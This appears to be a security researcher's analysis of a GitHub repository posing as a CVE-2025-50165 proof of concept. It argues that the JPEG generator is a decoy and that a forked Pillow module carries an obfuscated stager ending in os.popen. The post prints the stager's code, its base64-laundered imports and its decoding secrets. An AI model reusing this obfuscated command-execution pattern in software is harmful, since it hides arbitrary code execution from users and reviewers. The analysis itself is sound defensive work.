There is a method called zsize in PIF/Image.py at line 915. The last thing it does is call os.popen on a string. The string is the output of a four-stage decoder: a Caesar shift over a list of byte strings, a magic-header-plus-HMAC integrity check, an XOR with a sha256-derived key, a zlib decompress. The decoder's secrets are present in the same file. The decoder's input is read from self.dname, an attribute the file references and never assigns. The file is the one Python module in a repository named CVE-2025-50165-Windows-Graphics-Component-RCE. The other file in the repository is a fifty-four-line script that writes a one-pixel JPEG.
CVE-2025-50165: The JPEG Is the Decoy. The PIF Module Is the Payload.
vendor
patterns
cve
proof of concept
The JPEG does not trigger the bug it is named for
Microsoft's CVE-2025-50165 names an uninitialized function-pointer dereference in WindowsCodecs.dll's jpeg_finish_compress. The pointers in question are compress_data_12 and compress_data_16, selected when a JPEG declares sample precision of 12 or 16 bits and the host application re-encodes the image, typically while building a thumbnail. Published followup analysis from ESET is explicit on the precondition: viewing a malicious JPEG does not reach the bug, re-encode does, and the file must declare 12 or 16 in the SOF0 marker for the vulnerable pointer to be selected.
The repository's README.md has a section titled "Myth vs reality." The first row reads:
| Myth | Reality |
|---|---|
| "Opening any malicious JPG = instant RCE" | Decode/view usually does not hit the bug, re-encode does |
The poc_gen.py script that the README points to produces a JPEG whose Start of Frame 0 marker is, byte for byte:
FF C0 00 11 08 00 01 00 01 03 01 22 00 02 11 01 03 11 01Reading the SOF0 spec left to right: FF C0 marker, 00 11 length seventeen, 08 sample precision, 00 01 number of lines, 00 01 samples per line, 03 number of components, three component descriptors. The bytes the bug requires at offset 5 are 0C for compress_data_12 and 10 for compress_data_16. The byte the script writes is 08. The image declares one line, one sample per line, eight bits per sample. The PoC for a bug that fires on twelve- and sixteen-bit re-encode of larger images writes a one-pixel eight-bit JPEG to disk and stops.
The same myth-reality table the script ships under records the precondition the script's own output cannot meet. The PoC ships the myth.
The rest of the script's bulk is performance for the file viewer rather than the JPEG codec. Eight APP1 Exif segments are spammed at the front of the file, each carrying a 1,024-byte NOP sled and 169 bytes of x64 WinExec("calc.exe") shellcode. APP1 is a metadata marker that JPEG decoders skip, nothing in the codec's encode path receives those bytes as operands. The ROP "chain" embedded next to the shellcode reads 0x7FF8A1234560, 0x4141414141414141, 0x7FF8A1234570, and so on. 0x4141414141414141 is the literal byte string AAAAAAAA. The 0x7FF8A1234560 series is the Windows user-mode address range with a placeholder body the author did not replace.
The script's one meaningful call is Image.frombytes
The fifty-four lines of poc_gen.py build the JPEG bytes and end with:
from PIF import Image
# ...
Image.frombytes("RGB", [len(jpeg_data), 1], jpeg_data, output_path, "raw")Pillow's Image.frombytes has four parameters: mode, size, data, and an optional decoder_name. The frombytes exported by the PIF module in the same repository has a different signature. A path parameter is inserted at position four. The function's body, at line 3309, ends:
def frombytes(mode, size, data, path, decoder_name="raw", *args):
im = new(mode, size)
if im != None and im.width != 0 and im.height != 0:
# ... [Pillow's normal raw-decode pixel path] ...
im.frombytes(data, decoder_name, decoder_args)
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC)
with os.fdopen(fd, 'wb') as f:
f.write(data)
return imThe pixel-decode branch raises because the caller passes a JPEG byte stream into a function declared to read RGB pixels from a one-row image whose width is the size of the file in bytes. The error is swallowed by the fact that the script never reads the return value. The line after the pixel-decode branch is os.open(path, ...) followed by f.write(data). The JPEG file ends up on disk because the modified frombytes performed a write() as a side effect.
The same operation in stock Python is open(path, "wb").write(data). The repository ships 4,448 lines of forked Pillow to wrap it. That is the surface. The point is what the other 4,447 lines contain.
Three methods in PIF that are not in Pillow
The first two are ysize(y) at line 842 and zsize(z) at line 915. Neither name matches a Pillow API. The bodies are:
def ysize(self, y):
self.y_process()
result = str(y)
return result
def zsize(self, z):
self.z_process()
result = os.popen(self.fimage(z))
return resultysize is the import warmup. y_process at line 1021 imports base64 directly, takes the result's b64decode attribute, and then imports a module whose name is the base64 decoding of b'emxpYg=='. Decoded: zlib. The import is laundered through a base64 string literal because a code scanner that greps for import zlib does not find it.
zsize is the live one. z_process at line 1437 extends the chain. It pulls zlib.decompress, then imports a module whose name is the base64 of the zlib decompression of a literal byte string. The first such literal decodes to hashlib, the second to sha256, the third to md5. Every import a casual reader would expect to find by grepping the file is not in the file under that name.
After z_process, zsize calls self.fimage(z). fimage at line 2883 is:
def fimage(self, y):
regex_dname = self.regex_find(self.dname)
bdname = b"".join(regex_dname)
prefname = self._bd(bdname)
prefname_pattern = self._u2(prefname)
fname_pattern = self._u1(prefname_pattern)
fname_path = self._zd(fname_pattern)
return fname_path.decode("utf-8", errors="ignore")regex_find and regex_name are misdirection. regex_name at line 1591 implements a Caesar cipher with a fixed shift of three positions. regex_find calls regex_name over a list of strings and reverses each result. The output is base64-decoded by _bd, validated by _u2, XOR-decoded by _u1, and zlib-decompressed by _zd. The decoded string is returned to zsize, which passes it to os.popen.
_u2 at line 2509 verifies an integrity envelope before the inner payload is unwrapped:
def _u2(self, data):
if not data.startswith(self._zd(self._bd("eJxTU1PVUnVQZAQABYkBIw=="))):
raise
pre_pattern = data[8:12]
length = int.from_bytes(data[12:16], "big")
pattern = data[16:16+length]
if self._hm(self._k(self._zd(self._bd(
b"eJwLdY5yMzUPMYvKTDeJTw8t9jd1800JzwsvBQBkkAgn")).decode())
).digest()[:4] != pre_pattern:
raise
return patternThe first base64 literal decodes through zlib to &&%*%@!\x01, an eight-byte magic header. The second decodes to the string UCZF57T6Zig4_gUsO5FMdWnWu. _k is sha256(pw).digest()[:16]. The envelope check resolves to: first eight bytes equal the magic header, bytes nine through twelve equal the first four bytes of md5(sha256("UCZF57T6Zig4_gUsO5FMdWnWu").digest()[:16]).digest(), bytes thirteen through sixteen are the inner payload length, the rest is the XOR-encoded inner blob.
_u1 at line 2779 XORs the inner blob byte-for-byte with the repeating sixteen-byte key sha256("UCZF57T6Zig4_gUsO5FMdWnWu").digest()[:16]. The result is zlib-decompressed by the line in fimage after the _u1 call. The decoded UTF-8 string is the command that runs through os.popen.
Every piece of the decoder is in the file. The HMAC secret is in the file. The Caesar shift constant is in the file. The magic header is in the file. What is not in the file is self.dname, the source of the encoded payload. The file references self.dname exactly once, at line 2886, and assigns it never.
The disclaimer wraps an HMAC-authenticated, XOR-encoded shell-execution stager
The README.md ends with a section titled "Disclaimer" reading, in full:
For authorized lab research and patch validation only. Test only systems you own or may assess. Do not distribute or use this PoC against production environments.
The pattern is Disclaimer Wrapped Campaign Kit with one inversion. The catalog cases ship a working weaponizer against the named CVE behind a safety claim: Adobe Acrobat CVE-2026-34621's defang-claim banner over a live PDF privilege escalation, the Breeze Cache CVE-2026-3844 Gravatar fetcher's "educational" frame over a multiprocessing campaign harvester. The disclaimer says lab use, the code says target accumulator.
This artifact runs the same disclaimer over a payload that has nothing to do with the named CVE. The CVE-2025-50165 surface, the JPEG generator, the calc shellcode, the SOF0 marker, the ROP placeholder addresses, does not reach WindowsCodecs.dll because the precision byte is wrong and the file is one pixel wide. None of the WIC-specific machinery the README describes is in poc_gen.py in working form, and the script's only meaningful call is Image.frombytes(...) which, through the inserted path parameter, performs f.write(data) and nothing else.
The thing the repository installs into the consumer's interpreter is the PIF module. The module's CVE-relevant code is decorative: a fork of Pillow with one altered module-level function whose alteration is to write bytes to disk. The module's live code is the decoder pipeline that ends at os.popen. The CVE name is the index entry. The README's safety disclaimer is the trust prompt. The 4,448 lines of forked Pillow are the camouflage. The shape this artifact is engineered to defeat is a defender who reads the surface PoC, concludes "this doesn't actually exploit CVE-2025-50165," and stops reading.
What is shipped versus what is not
| Component | In the repository | Function in the chain |
|---|---|---|
Decoder pipeline (_u1, _u2, fimage, zsize) |
Yes | Reads dname, returns shell command |
Caesar shift constant (3) |
Yes | regex_name step |
Magic header &&%*%@!\x01 |
Yes, zlib+b64 wrapped | First eight bytes of envelope |
HMAC secret UCZF57T6Zig4_gUsO5FMdWnWu |
Yes, zlib+b64 wrapped | sha256+md5 chain for integrity check |
os.popen call |
Yes, line 917 | Executes decoded payload |
self.dname (encoded payload) |
No | Source bytes for the decoder |
__init__.py for the PIF package |
No | Package import metadata |
Six of seven pieces present. The seventh is the one whose contents would name what the operator wants to run. The author shipped the lock and the key. They left the contents of the box for a separate delivery, or for the consumer's own configuration step to attach.
The kinship to Placeholder PoC is the outer wrapper. CVE-2025-47987's CredSSP PoC is another Microsoft-CVE-shaped repository whose surface artifact does not implement the bug the repository is named for, and whose padding around the artifact carries the marks of a deliverable assembled to be indexed by CVE-numbered repo scanners. This artifact extends the shape: the padding around the placeholder PoC is not a Spanish-language NVD paste, it is a self-decoding shell-execution stager wrapped in 4,448 lines of forked Pillow.
The repository was committed in seventeen minutes on 2026-05-22 by author 0x0. The commit order is poc_gen.py, then Image.py eighty-one seconds later, then README.md fourteen minutes after that, then a README update. The disclaimer was added last.
PoC: FelineKeeper/CVE-2025-50165-Windows-Graphics-Component-RCE
The CVE in the repository name is the lure. The 4,448 lines of forked Pillow are the carrier. The os.popen is the objective.